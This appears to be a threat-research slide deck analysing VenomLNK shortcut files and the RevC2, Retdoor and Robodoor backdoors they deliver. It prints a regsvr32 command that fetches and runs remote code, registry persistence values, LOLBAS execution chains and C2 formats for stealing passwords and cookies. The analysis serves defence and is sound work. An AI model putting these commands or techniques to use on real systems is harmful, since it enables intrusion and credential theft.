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      VenomLNK:
       The Initial
          Vector

● LNK file associated with VenomSpider (a.k.a. Golden Chickens) 

MaaS tools, used in initial attack phases.

● First observed in 2018.

● Delivers various VenomSpider tools, including TerraLoader, 

More_Eggs, and TerraStealer.

In H2 2024, We observed VenomLNK was used to deliver three 

backdoors:

1. RevC2

2. Retdoor

3. Robodoor



Campaign 1: VenomLNK leads to RevC2



VenomLNK: lure and command

● Contains an obfuscated .bat script.
● On execution, downloads a PNG/PDF 

file as a lure.
● Runs the command to register an 

ActiveX control and trigger RevC2 
execution:
wmic process call create 
"regsvr32 /s /i 
{url-hosting-revc2}".

Lure using brochure of a luxury living



          RevC2

● A new backdoor written in C++.
● Communicates with C2 via WebSockets.
● Supported commands:

○ Stealing passwords
○ Executing shell commands
○ Taking screenshots
○ Proxying traffic
○ Stealing cookies
○ Execute a command as a different user

● Named after its PDB path: 
C:\Users\PC\Desktop\C2New\Rev\x64\Release\

Rev.pdb.
● Motive : Financial gain



Functionality Overview

● Anti-Analysis Check(Process name and file name check)
● Encrypted string
● C2 communication protocol
● Client registration
● Process commands
● Persistence



Process name and filename check

● Retrieves the current process name and verifies if it matches 
regsvr32.exe.

● Checks the command line to ensure the DLL filename 
includes .ocx

● Used as Anti-Analysis techniques. If conditions are unmet, 
the process exits



Encrypted strings

● Initial RevC2 version: No string 
encryption.

● Next version: Strings encrypted with 
custom Base91 (modified alphabet) + 
XOR  (Ref : Jason Reaves)  

● Latest version: Encrypted strings loaded 
as stack strings and decrypted using XOR 
(hardcoded string as key).

https://medium.com/walmartglobaltech/decoding-revc2-strings-b3c72af07a55


C2 communication protocol
● Uses WebSockets for C2 communication via the 

websocketpp C++ library.
● Data exchanged in JSON format:

○ Server → Client: {"type":"%command_ID%", 
"command":"%command%"}

○ Client → Server: 
{"%output_name%":"%output_value%", 
"type":"%command_ID%"}

● Command_ID mismatch occurs in two cases: shell 
command execution and screenshot capture.

● Server-side emulation of RevC2 available: 
https://github.com/ThreatLabz/tools/tree/main/revc2



Client registration

● Initial data sent to the server handles 
registration.

● JSON format: 
{"name":"%computername%", 
"type":"0005"}.

● Server responds with the command to be 
executed.



Commands: Steal password 

● Command_ID 000000 is used to steal passwords from Chromium browsers.
● Saved passwords are retrieved and sent to the server in the format.

{"passwords":"Application: %application% Website: 
%website% Login URL: %url% User name: %username% 
Password: %password% ","type":"000000"}.



Commands : Executes shell commands 

● Command_ID 0001 is used to execute shell commands.
● %command% is appended with cmd /c enabling attacker to run arbitrary 

code on the system.

{"result":"%output_of_command%", "type":"0007"}



Commands: Take Screenshots

● Command_ID 0002 is used to take 
screenshots of the victim's system.

● command configures the resolution 
multiplier for the screenshot.

● Screenshot is captured, base64 
encoded, and sent to the server in 
JSON format:
{"image":"%base64encoded_ima
ge%", "type":"0006"}.



Commands: Proxy traffic

● Command_ID 0003 is used to proxy traffic through raw sockets using SOCKS5
● command property (proxy configuration) contains a json object in the format 

{"listenerIP": "%ip%", "listenerPort" : "%port%"}

● RevC2 utilizes two internal command IDs: 

(i) 0x55 : Connects to a target address and proxies data from target to listener 
through the proxy server. 

(ii) 0x70 : Proxies data from the listener to target (socket established by command 
ID 0x55) through the proxy server.



Commands: Proxy traffic (Cont)



Commands: Steal cookies

● Command_ID 0009 is used to steal cookies from 

Chromium browsers.

● Saved cookies are retrieved and sent to the server in 

JSON format                                              

{"cookies":"[ { "Application":"%application%" 

, "domain": "%domain%", "expirationDate": 

%expirationDate%, "httpOnly": %http_only%, 

"name": "%cookie_name%", "path": "%path%", 

"sameSite": "%samesite%", "Secure": %secure%, 

"url": "%url%", "value": "%cookie_value%" } 

]", "type": "0009"}



Commands: Execute a command as a different user
● Command_ID 0012 is used to create a process under a different user.
● command property includes a JSON object:

{"username":"%username%", "password":"%password%", 
"command":"%commandline%"}.

● CreateProcessWithLogonW API is used to execute the command with the 
provided credentials.

● The commandline result is not sent to the server.



Persistence

● Latest version of RevC2 includes persistence functionality.
● Implemented in the DllUnregisterServer export.
● Uses Windows logon scripts to achieve persistence
● Creates persistence under HKCU\Environment with registry value:

○ Name: UserInitMprLogonScript
○ Data: regsvr32 /s /i %path_to_revc2_dll%



Campaign 2: VenomLNK drops VenomLoader leading to Retdoor



VenomLNK: lure and command

● Contains an obfuscated .bat script 
that performs two main actions:
1. Downloads and displays a lure 

(e.g. JPEG image).
2. Downloads and executes 

VenomLoader via DLL 
SideLoading.

Lure using crypto currency transaction



    VenomLoader

● A simple loader written in C++, custom-built for each 

victim.

● Key functionalities:

1. Payload decryption and execution

2. Persistence



Custom Built

● Downloads a ZIP file containing:
○ A malicious DLL sideloaded 

alongside a legitimate executable 
from 
[WebDAVServer]/%computern
ame%/aaa.

● Uses %computername% as the 
hardcoded XOR key to encrypt 
subsequent stages



Payload Execution

● VenomLoader stores payload content as plain text.
● Content is XOR'ed with %computername% and base64-encoded, then 

split into three chunks:
1. Written to disk as text1, text2, and text3.

● Writes a PowerShell script (merge.ps1) to %APPDATA%\Adobe\, 
which:
1. Decrypt the chunks (text1, text2, text3).
2. Writes the decrypted payload as hello.js to 

%LOCALAPPDATA%\Microsoft\.
● Executes hello.js (Retdoor) using cscript



Persistence

● Creates run_all.vbs in 
%APPDATA%\Adobe.

● Uses run_all.vbs to establish 
Retdoor backdoor persistence 
by:
○ Adding merge.ps1 to 

registry key:
HKCU\SOFTWARE\Micros
oft\Windows\CurrentV
ersion\Run

○ Entry name: GoogleUpdate.



                 Retdoor

● A new simple JavaScript backdoor.

● Communicates with C2 via HTTP POST requests.

● Executes shell commands sent by the C2 server



Retdoor Network Communication

● Sends continuous HTTP POST requests to 
<c2_address>/api/infos .

● POST data: name=%computername%&ret= .
○ name: Victim's computer name.
○ First request: ret is empty.

● Command output returned in subsequent ret parameter.
● Response: JSON format: {"command": 

%command_encoded%} .
○ command_encoded : XOR’ed with %computername% , 

saved as .cmd file in Windows temp directory, then 
executed.



Campaign 3: VenomLNK leads to Robodoor



VenomLNK: 

● Drops ie4uinit.exe (LOLBAS) and malicious ieuinit.inf to the 
temp directory(Executes commands from ie4uinit.inf file.).

● Runs ie4uinit.exe -basesettings.
○ Uses scrobj.dll to download and execute the XSL file.

● XSL File Download:
○ ieuinit.inf used to download an XSL file with obfuscated 

JavaScript code.
○ JavaScript code ensures loading and persistence of 

Robodoor.



       Robodoor

● Robodoor is a new javascript backdoor.

● Communicates with C2 using HTTP GET Request

● Execution Flow:

1. Loading

2. Persistence

3. Registration

4. Process Commands



Robodoor Loading and Persistence

● Obfuscated JavaScript code inside XML writes two text files (LoaderFile and PersistFile) 
and legitimate msxsl.exe to %APPDATA%\Packages\.

● Function of Text Files:
○ LoaderFile: Handles loading of Robodoor.
○ PersistFile: Ensures persistence.

● Execution Flow:
○ LoaderFile executed via msxsl.exe with its filename as an argument .
○ Persistence:

■ PersistFile added to Registry key 
HKCU\Environment\UserInitMprLogonScript.

■ Registry value: cscript /b /e:jscript 
%LOCALAPPDATA%\Packages\{PersistFile}.

○ PersistFile Execution: Runs LoaderFile using msxsl.exe with its filename as an 
argument.



Robodoor: Registration

● Collected Data:
■ %COMPUTERNAME%, 

%USERNAME%, %USERDOMAIN%, 
Installed antivirus software.

● Data Transmission:
○ Sent to C2 server in the format:

<c2_address>/ccc{randomString
}?%COMPUTERNAME%~%USERNAME%~%
USERDOMAIN%~AV .

● C2 Response:
○ Receives a unique bot_id written to a 

text file in %APPDATA%\Packages\ .



Robodoor: Process Commands

● Bot ID Validation:
○ Checks if bot_id_file exists.
○ If yes: Reads the bot_id.
○ If no: Registers the device and writes the new 

bot_id to a file.
● Command Retrieval:

○ Uses bot_id to fetch commands from the C2 
server:
<c2_address>/aaa{randomString}?{bot_id}.

● Command Execution:
○ Executes commands received from the C2 server 

using WMI.
● Post-Execution Delay:

○ Adds a delay using:
typeperf.exe "\\System\\Processor 
Queue Length" -si 
<timetoWaitInSeconds> -sc 1 .

● Continuous Loop:
○ Automatically starts fetching the next command 

after delay.



Victimology: Lures used when RevC2 is delivered



Victimology: Lures used when Retdoor is delivered



Victimology: Lures used when Robodoor is delivered
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